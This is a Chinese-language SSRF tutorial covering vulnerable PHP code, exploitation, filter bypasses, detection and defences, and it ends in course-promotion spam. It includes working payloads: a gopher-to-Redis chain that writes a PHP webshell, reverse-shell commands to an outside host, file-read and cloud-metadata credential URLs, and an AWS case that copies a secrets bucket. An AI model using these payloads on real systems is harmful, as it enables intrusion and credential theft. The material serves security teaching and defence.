
一、什么是SSRF漏洞SSRFServer-Side Request Forgery服务器端请求伪造是指攻击者通过构造恶意请求诱使服务器端应用程序向攻击者指定的目标地址发起请求。由于请求是从服务器内部发出攻击者可以利用SSRF访问内网资源、读取敏感文件、攻击内网服务甚至实现远程代码执行。SSRF是近年来企业安全中危害最大的漏洞类型之一在各类SRC安全应急响应中心漏洞报告中均为高危漏洞。SSRF的危害危害等级具体影响实例说明内网探测探测内网存活主机和端口端口扫描获取内网拓扑读取敏感文件利用file协议读取系统文件读取/etc/passwd、配置文件攻击内网服务利用服务器访问内网服务攻击Redis、MySQL、WebLogic等远程代码执行利用Gopher协议构造恶意请求Redis未授权写Shell、FastCGI RCE云平台利用利用元数据服务获取凭据AWS/阿里云元数据获取临时凭据穿透防火墙从内部突破网络隔离利用SSRF访问被隔离的内网区域二、SSRF漏洞原理存在漏洞的代码?php// 图片代理功能 - 用户传入URL服务器请求并返回内容$url$_GET[url];// 无任何过滤直接请求用户传入的URL$contentfile_get_contents($url);header(Content-Type: image/jpeg);echo$content;?正常使用http://target.com/proxy.php?urlhttp://cdn.example.com/image.jpg漏洞利用# 1. 读取本地文件http://target.com/proxy.php?urlfile:///etc/passwd# 2. 探测内网http://target.com/proxy.php?urlhttp://192.168.1.1:80# 3. 访问云元数据http://target.com/proxy.php?urlhttp://169.254.169.254/latest/meta-data/# 4. 攻击内网Redishttp://target.com/proxy.php?urlgopher://192.168.1.10:6379/...常见SSRF场景场景参数示例说明图片/文件代理?urlhttp://xxx.com/img.jpg图片加载、文件下载代理WebhookPOST body中包含URL钉钉/企业微信/Slack通知URL预览?urlhttp://xxx.com链接预览、卡片生成PDF生成?urlhttp://xxx.com/page网页转PDF文档导入?urlhttp://xxx.com/doc远程文档导入API网关?targethttp://internal-apiAPI聚合/转发DNS解析?domainxxx.com域名解析/WHOIS查询三、SSRF利用方式1. 内网端口扫描通过SSRF探测内网服务的开放端口根据响应时间和状态码判断。# SSRF端口扫描脚本importrequestsimportconcurrent.futures targethttp://target.com/proxy.phpports[21,22,80,443,445,1433,3306,6379,8080,8443,9200]defscan_port(port):try:urlf{target}?urlhttp://127.0.0.1:{port}rrequests.get(url,timeout5)# 根据响应长度和状态码判断端口是否开放iflen(r.text)0andr.status_code200:returnfPort{port}: OPEN (Length:{len(r.text)})except:passreturnfPort{port}: CLOSEDwithconcurrent.futures.ThreadPoolExecutor(max_workers10)asexecutor:resultslist(executor.map(scan_port,ports))forrinresults:print(r)2. 读取本地敏感文件利用file://协议读取服务器本地文件。# Linux系统 file:///etc/passwd file:///etc/shadow file:///etc/hosts file:///proc/self/environ file:///var/log/apache2/access.log file:///root/.ssh/id_rsa file:///home/user/.bash_history # Windows系统 file:///C:/Windows/win.ini file:///C:/Windows/System32/config/SAM file:///C:/inetpub/wwwroot/web.config file:///C:/Users/Administrator/.ssh/id_rsa3. 云平台元数据利用通过SSRF访问云平台的元数据服务获取临时凭据。# AWS元数据http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME# 获取AccessKey、SecretKey、Token# 阿里云元数据http://100.100.100.200/latest/meta-data/ http://100.100.100.200/latest/meta-data/ram/security-credentials/ROLE_NAME# 腾讯云元数据http://metadata.tencentyun.com/latest/meta-data/ http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/ROLE_NAME# GCP元数据http://metadata.google.internal/computeMetadata/v1/# 需要添加请求头: Metadata-Flavor: Google4. 利用Gopher协议攻击内网RedisGopher协议可以构造任意TCP数据包是最强大的SSRF利用协议。# 构造Redis未授权写入Shell的Payloadimporturllib.parse# Redis命令commands[FLUSHALL,SET payload ?php eval($_POST[cmd]);?,CONFIG SET dir /var/www/html,CONFIG SET dbfilename shell.php,SAVE,]# 构造Redis协议数据payloadforcmdincommands:payloadf*1\r\n${len(cmd)}\r\n{cmd}\r\n# URL编码encodedurllib.parse.quote(payload)# 构造Gopher URLgopher_urlfgopher://127.0.0.1:6379/_{encoded}print(gopher_url)# 通过SSRF发送http://target.com/proxy.php?urlgopher://127.0.0.1:6379/_*1%0D%0A$8%0D%0AFLUSHALL%0D%0A*3%0D%0A$3%0D%0ASET%0D%0A$7%0D%0Apayload%0D%0A$28%0D%0A%3C%3Fphp%20eval(%24_POST%5Bcmd%5D)%3B%3F%3E%0D%0A*4%0D%0A$6%0D%0ACONFIG%0D%0A$3%0D%0ASET%0D%0A$3%0D%0Adir%0D%0A$14%0D%0A/var/www/html%0D%0A*4%0D%0A$6%0D%0ACONFIG%0D%0A$3%0D%0ASET%0D%0A$10%0D%0Adbfilename%0D%0A$10%0D%0Ashell.php%0D%0A*1%0D%0A$4%0D%0ASAVE%0D%0A5. 利用Gopher协议攻击MySQL# 构造MySQL查询Payloadimporturllib.parse# MySQL协议需要先发送认证包# 然后发送查询命令querySELECT ?php eval($_POST[cmd]);? INTO OUTFILE /var/www/html/shell.php# 构造MySQL协议数据包需要知道用户名和密码# 使用Gopherus工具自动生成# python3 gopherus.py --exploit mysql6. 利用Gopher协议攻击FastCGI# Gopherus生成FastCGI Payloadpython3 gopherus.py--exploitfastcgi# 输入: /var/www/html/index.php# 输入命令: bash -c bash -i /dev/tcp/192.168.1.100/4444 01# 生成Gopher URL# 通过SSRF触发7. 利用dict协议dict协议可以探测端口和执行部分命令。# 探测端口 dict://127.0.0.1:6379/info dict://127.0.0.1:11211/stats # Redis信息探测 dict://127.0.0.1:6379/info dict://127.0.0.1:6379/config:get:dir四、SSRF绕过技巧1. IP地址绕过# 过滤了127.0.0.1# 使用十进制IPhttp://2130706433/# 127.0.0.1的十进制http://0x7f000001/# 127.0.0.1的十六进制http://017700000001/# 127.0.0.1的八进制# 使用IPv6http://[::1]/ http://[::ffff:127.0.0.1]/ http://[0:0:0:0:0:0:0:1]/# 使用其他形式表示127.0.0.1http://127.0.0.1/ http://127.1/# 简写http://127.0.1/# 简写http://0/# 0.0.0.0http://0.0.0.0/# 本机所有网卡http://localhost/ http://localtest.me/# 解析到127.0.0.1# DNS重绑定# 将域名解析到内网IP# 例如: www.attacker.com → 127.0.0.12. URL编码绕过# URL编码 http://127.0.0.1 → http://%31%32%37%2e%30%2e%30%2e%31 http://localhost → http://%6c%6f%63%61%6c%68%6f%73%74 # 双重URL编码 http://127.0.0.1 → http://%25%33%31%25%33%32%25%33%373. 协议绕过# 使用不同协议 http:// → dict://、gopher://、file://、ldap://、tftp:// # 协议组合 file:///etc/passwd dict://127.0.0.1:6379/info gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0ainfo%0d%0a ldap://127.0.0.1:1389 tftp://127.0.0.1:69/test4. 302跳转绕过当目标服务器过滤了内网IP但允许跟随重定向时利用302跳转绕过。# 1. 在自己服务器上设置302跳转# Apache .htaccessRewriteEngine On RewriteRule ^redirect$ http://127.0.0.1/[R302,L]# 或使用短链接服务# 如 http://bit.ly/xxx → 302 → http://127.0.0.1/# 2. 通过SSRF访问跳转URLhttp://target.com/proxy.php?urlhttp://attacker.com/redirect# 服务器请求attacker.com → 302跳转 → 请求127.0.0.15. DNS重绑定绕过DNS重绑定DNS Rebinding是最强大的SSRF绕过技巧通过两次DNS查询返回不同IP实现绕过。# DNS重绑定原理# 1. 攻击者设置自定义DNS服务器# 2. 第一次DNS查询返回攻击者公网IP通过IP白名单检查# 3. 第二次DNS查询返回127.0.0.1实际请求内网# 4. 服务器跟随第二次解析结果请求内网# 工具rebind# https://github.com/brannondorsey/ipv4-heatmap# 或使用在线服务# http://ceye.io/# https://rbndr.io/6. 符号绕过# URL中符号前的内容会被忽略 http://www.attacker.com127.0.0.1/ # 实际请求的是127.0.0.1 # 但如果只检查URL开头会以为是attacker.com五、SSRF检测方法1. 黑盒检测# 使用SSRFmap自动检测python3 ssrfmap.py-rrequest.txt-purl-mredis# 使用Gopherus生成Payloadpython3 gopherus.py--exploitredis python3 gopherus.py--exploitmysql python3 gopherus.py--exploitfastcgi python3 gopherus.py--exploitsmtp# 使用BurpSuite Collaborator检测带外请求# 1. 生成Collaborator地址# 2. 在URL参数中填入# 3. 检查是否收到DNS/HTTP请求2. 白盒审计// PHP危险函数file_get_contents()curl_exec()fsockopen()fopen()readfile()iconv()get_headers()// Java危险函数URL.openConnection()URL.openStream()HttpClient.execute()RestTemplate.getForObject()ImageIO.read()# Python危险函数requests.get()urllib.request.urlopen()urllib2.urlopen()pycurl.perform()六、SSRF防御方案1. URL白名单?php// 白名单验证$whitelist[cdn.example.com,img.example.com];$hostparse_url($url,PHP_URL_HOST);if(!in_array($host,$whitelist)){die(URL不在白名单中);}// 执行请求$contentfile_get_contents($url);?2. IP地址校验importipaddressimportsocketdefis_safe_url(url):检查URL是否安全parsedurlparse(url)# 只允许http/https协议ifparsed.schemenotin[http,https]:returnFalse# 解析域名对应的IPtry:ipsocket.gethostbyname(parsed.hostname)except:returnFalse# 检查IP是否为内网地址ip_objipaddress.ip_address(ip)# 禁止内网IPifip_obj.is_privateor\ ip_obj.is_loopbackor\ ip_obj.is_link_localor\ ip_obj.is_reserved:returnFalse# 禁止元数据服务地址ifipin[169.254.169.254,100.100.100.200]:returnFalsereturnTrue# 使用示例urlrequest.GET.get(url)ifis_safe_url(url):responserequests.get(url)else:returnHttpResponse(Forbidden,status403)3. 禁用危险协议// Java - 限制协议URLurlnewURL(input);Stringprotocolurl.getProtocol();if(!http.equals(protocol)!https.equals(protocol)){thrownewSecurityException(只允许HTTP/HTTPS协议);}// 禁用file、gopher、dict、ldap等协议4. DNS解析后验证# 关键防御解析DNS后验证IP防止DNS重绑定importsocketdefsafe_request(url):parsedurlparse(url)hostnameparsed.hostname# 第一次DNS解析ipsocket.gethostbyname(hostname)# 验证IPifis_internal_ip(ip):raiseValueError(禁止访问内网IP)# 关键使用解析到的IP直接请求不再次DNS解析# 修改Host头保持原始域名headers{Host:hostname}responserequests.get(fhttp://{ip}{parsed.path},headersheaders,timeout5)returnresponse5. 网络隔离# 服务器最小化网络权限# Web服务器不应能访问内网其他服务器# 在防火墙上限制Web服务器的出站流量# iptables限制iptables-AOUTPUT-oeth0-d192.168.0.0/16-jDROP iptables-AOUTPUT-oeth0-d10.0.0.0/8-jDROP iptables-AOUTPUT-oeth0-d172.16.0.0/12-jDROP iptables-AOUTPUT-oeth0-d169.254.169.254-jDROP七、SSRF实战案例案例一图片加载SSRF到Redis RCE# 1. 发现SSRF漏洞# URL: http://target.com/fetch?urlhttp://xxx.com/image.jpg# 2. 探测内网http://target.com/fetch?urlhttp://192.168.1.0/24# 发现192.168.1.10开放6379端口Redis# 3. 使用Gopherus生成Redis Payloadpython3 gopherus.py--exploitredis# 输入Web目录: /var/www/html# 输入命令: php -r $sockfsockopen(192.168.1.100,4444);exec(/bin/bash -i 3 3 23);# 4. 通过SSRF触发http://target.com/fetch?urlgopher://192.168.1.10:6379/_*1%0D%0A$8%0D%0AFLUSHALL...# 5. 访问写入的Shellhttp://target.com/shell.php# 获取反弹Shell案例二AWS元数据获取凭据# 1. 发现SSRFhttp://target.com/proxy?urlhttp://169.254.169.254/latest/meta-data/# 2. 获取IAM角色名http://target.com/proxy?urlhttp://169.254.169.254/latest/meta-data/iam/security-credentials/# 返回: S3AccessRole# 3. 获取临时凭据http://target.com/proxy?urlhttp://169.254.169.254/latest/meta-data/iam/security-credentials/S3AccessRole# 返回: AccessKeyId、SecretAccessKey、Token# 4. 使用凭据操作AWSaws s3ls--access-key ASIA... --secret-access-key... --session-token... aws s3cps3://company-secrets/.--recursive--access-key ASIA... --secret-access-key...八、SSRF工具汇总工具名称功能适用场景SSRFmapSSRF漏洞利用自动化SSRF检测和利用GopherusGopher Payload生成生成Redis/MySQL/FastCGI Payloadssrf-sheriffSSRF检测自动化SSRF漏洞扫描Burp Collaborator带外检测检测无回显的SSRFrequestbin请求接收验证SSRF是否触发CEYEDNS/HTTP日志带外数据接收平台interact.shOOB交互检测带外通信检测总结SSRF是Web安全中危害极大的漏洞类型可以突破网络边界、访问内网服务、获取云凭据甚至实现远程代码执行。本文从漏洞原理、利用方式、绕过技巧到防御方案进行了系统讲解建议结合实战靶场进行练习。学习资源2026年最新版本全网最全的网安视频教程。耗时半年打造之前都是内部资源专业方面绝对可以秒杀国内99%的机构和个人教学全网独一份你不可能在网上找到这么专业的教程。内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识而且包含了中级的各种渗透技术并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频200多G的资源不用担心学不全。包含攻击与防守、漏洞挖掘、CTF比赛等技术点1、知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。2、 部分核心内容展示独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解3、适合学习的人群一、基础适配人群零基础转型者适合计算机零基础但愿意系统学习的人群资料覆盖从网络协议、操作系统到渗透测试的完整知识链开发/运维人员具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展或者转行就业应届毕业生计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期二、能力提升适配1、技术爱好者适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者2、安全从业者帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力3、合规需求者包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传戳下面拿这些东西我都可以免费分享给大家需要的可以点这里自取:网安入门到进阶资源————————————————